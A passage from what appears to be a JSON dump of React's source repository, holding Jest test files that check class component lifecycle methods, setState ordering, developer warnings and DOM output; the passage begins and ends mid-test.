expect(ReactSharedInternals.A).toBe(null);\n    if (ownerEnabled) {\n      expect(stashedDispatcher.getOwner()).toBe(null);\n    } else {\n      expect(stashedDispatcher.getOwner).toBe(undefined);\n    }\n  });\n\n  it('should call componentWillUnmount before unmounting', async () => {\n    const container = document.createElement('div');\n    let innerUnmounted = false;\n\n    class Component extends React.Component {\n      render() {\n        return (\n          <div>\n            <Inner />\n            Text\n          </div>\n        );\n      }\n    }\n\n    class Inner extends React.Component {\n      componentWillUnmount() {\n        innerUnmounted = true;\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component />);\n    });\n    root.unmount();\n    expect(innerUnmounted).toBe(true);\n  });\n\n  it('should warn when shouldComponentUpdate() returns undefined', async () => {\n    class ClassComponent extends React.Component {\n      state = {bogus: false};\n\n      shouldComponentUpdate() {\n        return undefined;\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n    let instance;\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<ClassComponent ref={ref => (instance = ref)} />);\n    });\n\n    ReactDOM.flushSync(() => {\n      instance.setState({bogus: true});\n    });\n    assertConsoleErrorDev([\n      'ClassComponent.shouldComponentUpdate(): Returned undefined instead of a ' +\n        'boolean value. Make sure to return true or false.\\n' +\n        '    in ClassComponent (at **)',\n    ]);\n  });\n\n  it('should warn when componentDidUnmount method is defined', async () => {\n    class Component extends React.Component {\n      componentDidUnmount = () => {};\n\n      render() {\n        return <div />;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    ReactDOM.flushSync(() => {\n      root.render(<Component />);\n    });\n    assertConsoleErrorDev([\n      'Component has a method called ' +\n        'componentDidUnmount(). But there is no such lifecycle method. ' +\n        'Did you mean componentWillUnmount()?\\n' +\n        '    in Component (at **)',\n    ]);\n  });\n\n  it('should warn when componentDidReceiveProps method is defined', () => {\n    class Component extends React.Component {\n      componentDidReceiveProps = () => {};\n\n      render() {\n        return <div />;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n\n    ReactDOM.flushSync(() => {\n      root.render(<Component />);\n    });\n    assertConsoleErrorDev([\n      'Component has a method called ' +\n        'componentDidReceiveProps(). But there is no such lifecycle method. ' +\n        'If you meant to update the state in response to changing props, ' +\n        'use componentWillReceiveProps(). If you meant to fetch data or ' +\n        'run side-effects or mutations after React has updated the UI, use componentDidUpdate().\\n' +\n        '    in Component (at **)',\n    ]);\n  });\n\n  it('should warn when defaultProps was defined as an instance property', () => {\n    class Component extends React.Component {\n      constructor(props) {\n        super(props);\n        this.defaultProps = {name: 'Abhay'};\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n\n    ReactDOM.flushSync(() => {\n      root.render(<Component />);\n    });\n    assertConsoleErrorDev([\n      'Setting defaultProps as an instance property on Component is not supported ' +\n        'and will be ignored. Instead, define defaultProps as a static property on Component.\\n' +\n        '    in Component (at **)',\n    ]);\n  });\n\n  it('should skip update when rerendering element in container', async () => {\n    class Parent extends React.Component {\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    class Child extends React.Component {\n      render() {\n        Scheduler.log('Child render');\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const child = <Child />;\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent>{child}</Parent>);\n    });\n    assertLog(['Child render']);\n\n    await act(() => {\n      root.render(<Parent>{child}</Parent>);\n    });\n    assertLog([]);\n  });\n\n  it('should disallow nested render calls', () => {\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    class Inner extends React.Component {\n      render() {\n        return <div />;\n      }\n    }\n\n    class Outer extends React.Component {\n      render() {\n        root.render(<Inner />);\n        return <div />;\n      }\n    }\n\n    ReactDOM.flushSync(() => {\n      root.render(<Outer />);\n    });\n    assertConsoleErrorDev([\n      'Render methods should be a pure function of props and state; ' +\n        'triggering nested component updates from render is not allowed. If ' +\n        'necessary, trigger nested updates in componentDidUpdate.\\n\\n' +\n        'Check the render method of Outer.\\n' +\n        '    in Outer (at **)',\n    ]);\n  });\n\n  it('only renders once if updated in componentWillReceiveProps', async () => {\n    let renders = 0;\n\n    class Component extends React.Component {\n      state = {updated: false};\n\n      UNSAFE_componentWillReceiveProps(props) {\n        expect(props.update).toBe(1);\n        expect(renders).toBe(1);\n        this.setState({updated: true});\n        expect(renders).toBe(1);\n      }\n\n      render() {\n        renders++;\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let instance;\n\n    await act(() => {\n      root.render(<Component update={0} ref={ref => (instance = ref)} />);\n    });\n    expect(renders).toBe(1);\n    expect(instance.state.updated).toBe(false);\n\n    await act(() => {\n      root.render(<Component update={1} ref={ref => (instance = ref)} />);\n    });\n    expect(renders).toBe(2);\n    expect(instance.state.updated).toBe(true);\n  });\n\n  it('only renders once if updated in componentWillReceiveProps when batching', async () => {\n    let renders = 0;\n\n    class Component extends React.Component {\n      state = {updated: false};\n\n      UNSAFE_componentWillReceiveProps(props) {\n        expect(props.update).toBe(1);\n        expect(renders).toBe(1);\n        this.setState({updated: true});\n        expect(renders).toBe(1);\n      }\n\n      render() {\n        renders++;\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let instance;\n    await act(() => {\n      root.render(<Component update={0} ref={ref => (instance = ref)} />);\n    });\n    expect(renders).toBe(1);\n    expect(instance.state.updated).toBe(false);\n    await act(() => {\n      root.render(<Component update={1} ref={ref => (instance = ref)} />);\n    });\n    expect(renders).toBe(2);\n    expect(instance.state.updated).toBe(true);\n  });\n\n  it('should warn when mutated props are passed', async () => {\n    const container = document.createElement('div');\n\n    class Foo extends React.Component {\n      constructor(props) {\n        const _props = {idx: props.idx + '!'};\n        super(_props);\n      }\n\n      render() {\n        return <span />;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    ReactDOM.flushSync(() => {\n      root.render(<Foo idx=\"qwe\" />);\n    });\n    assertConsoleErrorDev([\n      'When calling super() in `Foo`, make sure to pass ' +\n        \"up the same props that your component's constructor was passed.\\n\" +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('should only call componentWillUnmount once', async () => {\n    let app;\n    let count = 0;\n\n    class App extends React.Component {\n      render() {\n        if (this.props.stage === 1) {\n          return <UnunmountableComponent />;\n        } else {\n          return null;\n        }\n      }\n    }\n\n    class UnunmountableComponent extends React.Component {\n      componentWillUnmount() {\n        app.setState({});\n        count++;\n        throw Error('always fails');\n      }\n\n      render() {\n        return <div>Hello {this.props.name}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n\n    const setRef = ref => {\n      if (ref) {\n        app = ref;\n      }\n    };\n\n    const root = ReactDOMClient.createRoot(container);\n    await expect(async () => {\n      await act(() => {\n        root.render(<App ref={setRef} stage={1} />);\n      });\n      await act(() => {\n        root.render(<App ref={setRef} stage={2} />);\n      });\n    }).rejects.toThrow();\n    expect(count).toBe(1);\n  });\n\n  it('prepares new child before unmounting old', async () => {\n    class Spy extends React.Component {\n      UNSAFE_componentWillMount() {\n        Scheduler.log(this.props.name + ' componentWillMount');\n      }\n      render() {\n        Scheduler.log(this.props.name + ' render');\n        return <div />;\n      }\n      componentDidMount() {\n        Scheduler.log(this.props.name + ' componentDidMount');\n      }\n      componentWillUnmount() {\n        Scheduler.log(this.props.name + ' componentWillUnmount');\n      }\n    }\n\n    class Wrapper extends React.Component {\n      render() {\n        return <Spy key={this.props.name} name={this.props.name} />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Wrapper name=\"A\" />);\n    });\n\n    assertLog(['A componentWillMount', 'A render', 'A componentDidMount']);\n    await act(() => {\n      root.render(<Wrapper name=\"B\" />);\n    });\n\n    assertLog([\n      'B componentWillMount',\n      'B render',\n      'A componentWillUnmount',\n      'B componentDidMount',\n    ]);\n  });\n\n  it('respects a shallow shouldComponentUpdate implementation', async () => {\n    class PlasticWrap extends React.Component {\n      constructor(props, context) {\n        super(props, context);\n        this.state = {\n          color: 'green',\n        };\n        this.appleRef = React.createRef();\n      }\n\n      render() {\n        return <Apple color={this.state.color} ref={this.appleRef} />;\n      }\n    }\n\n    class Apple extends React.Component {\n      state = {\n        cut: false,\n        slices: 1,\n      };\n\n      shouldComponentUpdate(nextProps, nextState) {\n        return shallowCompare(this, nextProps, nextState);\n      }\n\n      cut() {\n        this.setState({\n          cut: true,\n          slices: 10,\n        });\n      }\n\n      eatSlice() {\n        this.setState({\n          slices: this.state.slices - 1,\n        });\n      }\n\n      render() {\n        const {color} = this.props;\n        const {cut, slices} = this.state;\n\n        Scheduler.log(`${color} ${cut} ${slices}`);\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let instance;\n    await act(() => {\n      root.render(<PlasticWrap ref={ref => (instance = ref)} />);\n    });\n    assertLog(['green false 1']);\n\n    // Do not re-render based on props\n    await act(() => {\n      instance.setState({color: 'green'});\n    });\n    assertLog([]);\n\n    // Re-render based on props\n    await act(() => {\n      instance.setState({color: 'red'});\n    });\n    assertLog(['red false 1']);\n\n    // Re-render base on state\n    await act(() => {\n      instance.appleRef.current.cut();\n    });\n    assertLog(['red true 10']);\n\n    // No re-render based on state\n    await act(() => {\n      instance.appleRef.current.cut();\n    });\n    assertLog([]);\n\n    // Re-render based on state again\n    await act(() => {\n      instance.appleRef.current.eatSlice();\n    });\n    assertLog(['red true 9']);\n  });\n\n  it('does not do a deep comparison for a shallow shouldComponentUpdate implementation', async () => {\n    function getInitialState() {\n      return {\n        foo: [1, 2, 3],\n        bar: {a: 4, b: 5, c: 6},\n      };\n    }\n\n    const initialSettings = getInitialState();\n\n    class Component extends React.Component {\n      state = initialSettings;\n\n      shouldComponentUpdate(nextProps, nextState) {\n        return shallowCompare(this, nextProps, nextState);\n      }\n\n      render() {\n        const {foo, bar} = this.state;\n        Scheduler.log(`{foo:[${foo}],bar:{a:${bar.a},b:${bar.b},c:${bar.c}}`);\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let instance;\n    await act(() => {\n      root.render(<Component ref={ref => (instance = ref)} />);\n    });\n    assertLog(['{foo:[1,2,3],bar:{a:4,b:5,c:6}']);\n\n    // Do not re-render if state is equal\n    const settings = {\n      foo: initialSettings.foo,\n      bar: initialSettings.bar,\n    };\n    await act(() => {\n      instance.setState(settings);\n    });\n    assertLog([]);\n\n    // Re-render because one field changed\n    initialSettings.foo = [1, 2, 3];\n    await act(() => {\n      instance.setState(initialSettings);\n    });\n    assertLog(['{foo:[1,2,3],bar:{a:4,b:5,c:6}']);\n\n    // Re-render because the object changed\n    await act(() => {\n      instance.setState(getInitialState());\n    });\n    assertLog(['{foo:[1,2,3],bar:{a:4,b:5,c:6}']);\n  });\n\n  it('should call setState callback with no arguments', async () => {\n    let mockArgs;\n    class Component extends React.Component {\n      componentDidMount() {\n        this.setState({}, (...args) => (mockArgs = args));\n      }\n      render() {\n        return false;\n      }\n    }\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Component />);\n    });\n\n    expect(mockArgs.length).toEqual(0);\n  });\n\n  it('this.state should be updated on setState callback inside componentWillMount', async () => {\n    const div = document.createElement('div');\n    let stateSuccessfullyUpdated = false;\n\n    class Component extends React.Component {\n      constructor(props, context) {\n        super(props, context);\n        this.state = {\n          hasUpdatedState: false,\n        };\n      }\n\n      UNSAFE_componentWillMount() {\n        this.setState(\n          {hasUpdatedState: true},\n          () => (stateSuccessfullyUpdated = this.state.hasUpdatedState),\n        );\n      }\n\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(div);\n    await act(() => {\n      root.render(<Component />);\n    });\n\n    expect(stateSuccessfullyUpdated).toBe(true);\n  });\n\n  it('should call the setState callback even if shouldComponentUpdate = false', async () => {\n    const mockFn = jest.fn().mockReturnValue(false);\n    const div = document.createElement('div');\n\n    class Component extends React.Component {\n      constructor(props, context) {\n        super(props, context);\n        this.state = {\n          hasUpdatedState: false,\n        };\n      }\n\n      UNSAFE_componentWillMount() {\n        instance = this;\n      }\n\n      shouldComponentUpdate() {\n        return mockFn();\n      }\n\n      render() {\n        return <div>{this.state.hasUpdatedState}</div>;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(div);\n    let instance;\n    await act(() => {\n      root.render(<Component ref={ref => (instance = ref)} />);\n    });\n\n    expect(instance).toBeDefined();\n    expect(mockFn).not.toBeCalled();\n\n    await act(() => {\n      instance.setState({hasUpdatedState: true}, () => {\n        expect(mockFn).toBeCalled();\n        expect(instance.state.hasUpdatedState).toBe(true);\n        Scheduler.log('setState callback called');\n      });\n    });\n\n    assertLog(['setState callback called']);\n  });\n\n  it('should return a meaningful warning when constructor is returned', async () => {\n    class RenderTextInvalidConstructor extends React.Component {\n      constructor(props) {\n        super(props);\n        return {something: false};\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await expect(async () => {\n      await act(() => {\n        root.render(<RenderTextInvalidConstructor />);\n      });\n    }).rejects.toThrow();\n    assertConsoleErrorDev([\n      'No `render` method found on the RenderTextInvalidConstructor instance: ' +\n        'did you accidentally return an object from the constructor?\\n' +\n        '    in RenderTextInvalidConstructor (at **)',\n      'No `render` method found on the RenderTextInvalidConstructor instance: ' +\n        'did you accidentally return an object from the constructor?\\n' +\n        '    in RenderTextInvalidConstructor (at **)',\n    ]);\n  });\n\n  it('should warn about reassigning this.props while rendering', () => {\n    class Bad extends React.Component {\n      componentDidMount() {}\n      componentDidUpdate() {}\n      render() {\n        this.props = {...this.props};\n        return null;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    ReactDOM.flushSync(() => {\n      root.render(<Bad />);\n    });\n    assertConsoleErrorDev([\n      'It looks like Bad is reassigning its own `this.props` while rendering. ' +\n        'This is not supported and can lead to confusing bugs.\\n' +\n        '    in Bad (at **)',\n    ]);\n  });\n\n  it('should return error if render is not defined', async () => {\n    class RenderTestUndefinedRender extends React.Component {}\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await expect(async () => {\n      await act(() => {\n        root.render(<RenderTestUndefinedRender />);\n      });\n    }).rejects.toThrow();\n    assertConsoleErrorDev([\n      'No `render` method found on the RenderTestUndefinedRender instance: ' +\n        'you may have forgotten to define `render`.\\n' +\n        '    in RenderTestUndefinedRender (at **)',\n      'No `render` method found on the RenderTestUndefinedRender instance: ' +\n        'you may have forgotten to define `render`.\\n' +\n        '    in RenderTestUndefinedRender (at **)',\n    ]);\n  });\n\n  // Regression test for accidental breaking change\n  // https://github.com/facebook/react/issues/13580\n  it('should support classes shadowing isReactComponent', async () => {\n    class Shadow extends React.Component {\n      isReactComponent() {}\n      render() {\n        return <div />;\n      }\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Shadow />);\n    });\n    expect(container.firstChild.tagName).toBe('DIV');\n  });\n\n  it('should not warn on updating function component from componentWillMount', async () => {\n    let setState;\n    let ref;\n    function A() {\n      const [state, _setState] = React.useState(null);\n      setState = _setState;\n      return <div ref={r => (ref = r)}>{state}</div>;\n    }\n    class B extends React.Component {\n      UNSAFE_componentWillMount() {\n        setState(1);\n      }\n      render() {\n        return null;\n      }\n    }\n    function Parent() {\n      return (\n        <div>\n          <A />\n          <B />\n        </div>\n      );\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent />);\n    });\n\n    expect(ref.textContent).toBe('1');\n  });\n\n  it('should not warn on updating function component from componentWillUpdate', async () => {\n    let setState;\n    let ref;\n    function A() {\n      const [state, _setState] = React.useState();\n      setState = _setState;\n      return <div ref={r => (ref = r)}>{state}</div>;\n    }\n    class B extends React.Component {\n      UNSAFE_componentWillUpdate() {\n        setState(1);\n      }\n      render() {\n        return null;\n      }\n    }\n    function Parent() {\n      return (\n        <div>\n          <A />\n          <B />\n        </div>\n      );\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent />);\n    });\n    await act(() => {\n      root.render(<Parent />);\n    });\n\n    expect(ref.textContent).toBe('1');\n  });\n\n  it('should not warn on updating function component from componentWillReceiveProps', async () => {\n    let setState;\n    let ref;\n    function A() {\n      const [state, _setState] = React.useState();\n      setState = _setState;\n      return <div ref={r => (ref = r)}>{state}</div>;\n    }\n\n    class B extends React.Component {\n      UNSAFE_componentWillReceiveProps() {\n        setState(1);\n      }\n      render() {\n        return null;\n      }\n    }\n    function Parent() {\n      return (\n        <div>\n          <A />\n          <B />\n        </div>\n      );\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent />);\n    });\n    await act(() => {\n      root.render(<Parent />);\n    });\n\n    expect(ref.textContent).toBe('1');\n  });\n\n  it('should warn on updating function component from render', () => {\n    let setState;\n    let ref;\n    function A() {\n      const [state, _setState] = React.useState(0);\n      setState = _setState;\n      return <div ref={r => (ref = r)}>{state}</div>;\n    }\n\n    class B extends React.Component {\n      render() {\n        setState(c => c + 1);\n        return null;\n      }\n    }\n    function Parent() {\n      return (\n        <div>\n          <A />\n          <B />\n        </div>\n      );\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    ReactDOM.flushSync(() => {\n      root.render(<Parent />);\n    });\n    assertConsoleErrorDev([\n      'Cannot update a component (`A`) while rendering a different component (`B`). ' +\n        'To locate the bad setState() call inside `B`, ' +\n        'follow the stack trace as described in https://react.dev/link/setstate-in-render\\n' +\n        '    in Parent (at **)',\n    ]);\n\n    // We error, but still update the state.\n    expect(ref.textContent).toBe('1');\n\n    // Dedupe.\n    ReactDOM.flushSync(() => {\n      root.render(<Parent />);\n    });\n\n    // We error, but still update the state.\n    expect(ref.textContent).toBe('2');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactCompositeComponentDOMMinimalism-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\n// Requires\nlet React;\nlet ReactDOMClient;\nlet act;\n\n// Test components\nlet LowerLevelComposite;\nlet MyCompositeComponent;\n\n/**\n * Integration test, testing the combination of JSX with our unit of\n * abstraction, `ReactCompositeComponent` does not ever add superfluous DOM\n * nodes.\n */\ndescribe('ReactCompositeComponentDOMMinimalism', () => {\n  beforeEach(() => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n\n    LowerLevelComposite = class extends React.Component {\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    };\n\n    MyCompositeComponent = class extends React.Component {\n      render() {\n        return <LowerLevelComposite>{this.props.children}</LowerLevelComposite>;\n      }\n    };\n  });\n\n  it('should not render extra nodes for non-interpolated text', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<MyCompositeComponent>A string child</MyCompositeComponent>);\n    });\n\n    const instance = container.firstChild;\n    expect(instance.tagName).toBe('DIV');\n    expect(instance.children.length).toBe(0);\n  });\n\n  it('should not render extra nodes for interpolated text', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <MyCompositeComponent>\n          {'Interpolated String Child'}\n        </MyCompositeComponent>,\n      );\n    });\n\n    const instance = container.firstChild;\n    expect(instance.tagName).toBe('DIV');\n    expect(instance.children.length).toBe(0);\n  });\n\n  it('should not render extra nodes for interpolated text children', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <MyCompositeComponent>\n          <ul>This text causes no children in ul, just innerHTML</ul>\n        </MyCompositeComponent>,\n      );\n    });\n\n    const instance = container.firstChild;\n    expect(instance.tagName).toBe('DIV');\n    expect(instance.children.length).toBe(1);\n    expect(instance.children[0].tagName).toBe('UL');\n    expect(instance.children[0].children.length).toBe(0);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactCompositeComponentNestedState-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\n\ndescribe('ReactCompositeComponentNestedState-state', () => {\n  beforeEach(() => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n  });\n\n  it('should provide up to date values for props', async () => {\n    class ParentComponent extends React.Component {\n      state = {color: 'blue'};\n\n      handleColor = color => {\n        this.props.logger('parent-handleColor', this.state.color);\n        this.setState({color: color}, function () {\n          this.props.logger('parent-after-setState', this.state.color);\n        });\n      };\n\n      render() {\n        this.props.logger('parent-render', this.state.color);\n        return (\n          <ChildComponent\n            logger={this.props.logger}\n            color={this.state.color}\n            onSelectColor={this.handleColor}\n          />\n        );\n      }\n    }\n\n    class ChildComponent extends React.Component {\n      constructor(props) {\n        super(props);\n        props.logger('getInitialState', props.color);\n        this.state = {hue: 'dark ' + props.color};\n      }\n\n      handleHue = (shade, color) => {\n        this.props.logger('handleHue', this.state.hue, this.props.color);\n        this.props.onSelectColor(color);\n        this.setState(\n          function (state, props) {\n            this.props.logger(\n              'setState-this',\n              this.state.hue,\n              this.props.color,\n            );\n            this.props.logger('setState-args', state.hue, props.color);\n            return {hue: shade + ' ' + props.color};\n          },\n          function () {\n            this.props.logger(\n              'after-setState',\n              this.state.hue,\n              this.props.color,\n            );\n          },\n        );\n      };\n\n      render() {\n        this.props.logger('render', this.state.hue, this.props.color);\n        return (\n          <div>\n            <button onClick={this.handleHue.bind(this, 'dark', 'blue')}>\n              Dark Blue\n            </button>\n            <button onClick={this.handleHue.bind(this, 'light', 'blue')}>\n              Light Blue\n            </button>\n            <button onClick={this.handleHue.bind(this, 'dark', 'green')}>\n              Dark Green\n            </button>\n            <button onClick={this.handleHue.bind(this, 'light', 'green')}>\n              Light Green\n            </button>\n          </div>\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n\n    const logger = jest.fn();\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(async () => {\n      root.render(<ParentComponent logger={logger} />);\n    });\n\n    await act(async () => {\n      // click \"light green\"\n      container.childNodes[0].childNodes[3].click();\n    });\n\n    expect(logger.mock.calls).toEqual([\n      ['parent-render', 'blue'],\n      ['getInitialState', 'blue'],\n      ['render', 'dark blue', 'blue'],\n      ['handleHue', 'dark blue', 'blue'],\n      ['parent-handleColor', 'blue'],\n      ['parent-render', 'green'],\n      ['setState-this', 'dark blue', 'blue'],\n      ['setState-args', 'dark blue', 'green'],\n      ['render', 'light green', 'green'],\n      ['after-setState', 'light green', 'green'],\n      ['parent-after-setState', 'green'],\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactCompositeComponentState-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet act;\nlet Scheduler;\nlet assertLog;\nlet TestComponent;\nlet testComponentInstance;\nlet assertConsoleErrorDev;\n\ndescribe('ReactCompositeComponent-state', () => {\n  beforeEach(() => {\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n\n    function LogAfterCommit({children, color}) {\n      React.useEffect(() => {\n        Scheduler.log(`commit ${color}`);\n      });\n      return children;\n    }\n\n    TestComponent = class extends React.Component {\n      constructor(props) {\n        super(props);\n        this.peekAtState('getInitialState', undefined, props);\n        this.state = {color: 'red'};\n        testComponentInstance = this;\n      }\n\n      peekAtState = (from, state = this.state, props = this.props) => {\n        Scheduler.log(`${from} ${state && state.color}`);\n      };\n\n      peekAtCallback = from => {\n        return () => this.peekAtState(from);\n      };\n\n      setFavoriteColor(nextColor) {\n        this.setState(\n          {color: nextColor},\n          this.peekAtCallback('setFavoriteColor'),\n        );\n      }\n\n      render() {\n        this.peekAtState('render');\n        return (\n          <LogAfterCommit color={this.state.color}>\n            <div>{this.state.color}</div>\n          </LogAfterCommit>\n        );\n      }\n\n      UNSAFE_componentWillMount() {\n        this.peekAtState('componentWillMount-start');\n        this.setState(function (state) {\n          this.peekAtState('before-setState-sunrise', state);\n        });\n        this.setState(\n          {color: 'sunrise'},\n          this.peekAtCallback('setState-sunrise'),\n        );\n        this.setState(function (state) {\n          this.peekAtState('after-setState-sunrise', state);\n        });\n        this.peekAtState('componentWillMount-after-sunrise');\n        this.setState(\n          {color: 'orange'},\n          this.peekAtCallback('setState-orange'),\n        );\n        this.setState(function (state) {\n          this.peekAtState('after-setState-orange', state);\n        });\n        this.peekAtState('componentWillMount-end');\n      }\n\n      componentDidMount() {\n        this.peekAtState('componentDidMount-start');\n        this.setState(\n          {color: 'yellow'},\n          this.peekAtCallback('setState-yellow'),\n        );\n        this.peekAtState('componentDidMount-end');\n      }\n\n      UNSAFE_componentWillReceiveProps(newProps) {\n        this.peekAtState('componentWillReceiveProps-start');\n        if (newProps.nextColor) {\n          this.setState(function (state) {\n            this.peekAtState('before-setState-receiveProps', state);\n            return {color: newProps.nextColor};\n          });\n          // No longer a public API, but we can test that it works internally by\n          // reaching into the updater.\n          this.updater.enqueueReplaceState(this, {color: undefined});\n          this.setState(function (state) {\n            this.peekAtState('before-setState-again-receiveProps', state);\n            return {color: newProps.nextColor};\n          }, this.peekAtCallback('setState-receiveProps'));\n          this.setState(function (state) {\n            this.peekAtState('after-setState-receiveProps', state);\n          });\n        }\n        this.peekAtState('componentWillReceiveProps-end');\n      }\n\n      shouldComponentUpdate(nextProps, nextState) {\n        this.peekAtState('shouldComponentUpdate-currentState');\n        this.peekAtState('shouldComponentUpdate-nextState', nextState);\n        return true;\n      }\n\n      UNSAFE_componentWillUpdate(nextProps, nextState) {\n        this.peekAtState('componentWillUpdate-currentState');\n        this.peekAtState('componentWillUpdate-nextState', nextState);\n      }\n\n      componentDidUpdate(prevProps, prevState) {\n        this.peekAtState('componentDidUpdate-currentState');\n        this.peekAtState('componentDidUpdate-prevState', prevState);\n      }\n\n      componentWillUnmount() {\n        this.peekAtState('componentWillUnmount');\n      }\n    };\n  });\n\n  it('should support setting state', async () => {\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<TestComponent />);\n    });\n\n    assertLog([\n      // there is no state when getInitialState() is called\n      'getInitialState undefined',\n      'componentWillMount-start red',\n      // setState()'s only enqueue pending states.\n      'componentWillMount-after-sunrise red',\n      'componentWillMount-end red',\n      // pending state queue is processed\n      'before-setState-sunrise red',\n      'after-setState-sunrise sunrise',\n      'after-setState-orange orange',\n      // pending state has been applied\n      'render orange',\n      'componentDidMount-start orange',\n      // setState-sunrise and setState-orange should be called here,\n      // after the bug in #1740\n      // componentDidMount() called setState({color:'yellow'}), which is async.\n      // The update doesn't happen until the next flush.\n      'componentDidMount-end orange',\n      'setState-sunrise orange',\n      'setState-orange orange',\n      'commit orange',\n      'shouldComponentUpdate-currentState orange',\n      'shouldComponentUpdate-nextState yellow',\n      'componentWillUpdate-currentState orange',\n      'componentWillUpdate-nextState yellow',\n      'render yellow',\n      'componentDidUpdate-currentState yellow',\n      'componentDidUpdate-prevState orange',\n      'setState-yellow yellow',\n      'commit yellow',\n    ]);\n\n    await act(() => {\n      root.render(<TestComponent nextColor=\"green\" />);\n    });\n\n    assertLog([\n      'componentWillReceiveProps-start yellow',\n      // setState({color:'green'}) only enqueues a pending state.\n      'componentWillReceiveProps-end yellow',\n      // pending state queue is processed\n      // We keep updates in the queue to support\n      // replaceState(prevState => newState).\n      'before-setState-receiveProps yellow',\n      'before-setState-again-receiveProps undefined',\n      'after-setState-receiveProps green',\n      'shouldComponentUpdate-currentState yellow',\n      'shouldComponentUpdate-nextState green',\n      'componentWillUpdate-currentState yellow',\n      'componentWillUpdate-nextState green',\n      'render green',\n      'componentDidUpdate-currentState green',\n      'componentDidUpdate-prevState yellow',\n      'setState-receiveProps green',\n      'commit green',\n    ]);\n\n    await act(() => {\n      testComponentInstance.setFavoriteColor('blue');\n    });\n\n    assertLog([\n      // setFavoriteColor('blue')\n      'shouldComponentUpdate-currentState green',\n      'shouldComponentUpdate-nextState blue',\n      'componentWillUpdate-currentState green',\n      'componentWillUpdate-nextState blue',\n      'render blue',\n      'componentDidUpdate-currentState blue',\n      'componentDidUpdate-prevState green',\n      'setFavoriteColor blue',\n      'commit blue',\n    ]);\n    await act(() => {\n      testComponentInstance.forceUpdate(\n        testComponentInstance.peekAtCallback('forceUpdate'),\n      );\n    });\n    assertLog([\n      // forceUpdate()\n      'componentWillUpdate-currentState blue',\n      'componentWillUpdate-nextState blue',\n      'render blue',\n      'componentDidUpdate-currentState blue',\n  